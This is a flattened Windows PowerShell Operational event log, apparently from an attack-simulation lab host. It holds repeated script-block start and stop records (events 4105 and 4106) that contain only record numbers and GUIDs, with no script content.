410615103150x0667874Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667873Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667872Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667871Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667870Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667869Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667868Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667867Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667866Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667865Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667864Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667863Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667862Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667861Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667860Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667859Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667858Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667857Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667856Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667855Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667854Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667853Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667852Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667851Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667850Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667849Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667848Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667847Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667846Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667845Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667844Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667843Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667842Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667841Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667840Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667839Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667838Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667837Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667836Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667835Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667834Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667833Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667832Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667831Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667830Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667829Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667828Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667827Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667826Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667825Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667824Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667823Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667822Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667821Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667820Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667819Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667818Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667817Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667816Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667815Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667814Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667813Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667812Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667811Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667810Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667809Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667808Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667807Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667806Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667805Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667804Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667803Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667802Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667801Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667800Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667799Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667798Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667797Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667796Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667795Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667794Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667793Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667792Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667791Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667790Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667789Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667788Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667787Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667786Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667785Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667784Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667783Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667782Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667781Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667780Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667779Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667778Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667777Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667776Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667775Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667774Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667773Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667772Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667771Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667770Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667769Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667768Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667767Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667766Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667765Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667764Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667763Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667762Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667761Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667760Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667759Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667758Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667757Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667756Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667755Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667754Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667753Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667752Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667751Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667750Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667749Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667748Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667747Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667746Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667745Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667744Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667743Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667742Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667741Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667740Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667739Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667738Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667737Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667736Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667735Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667734Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667733Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667732Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667731Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667730Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667729Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667728Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667727Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667726Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667725Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667724Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667723Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667722Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667721Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667720Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667719Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667718Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667717Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667716Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667715Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667714Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667713Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667712Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 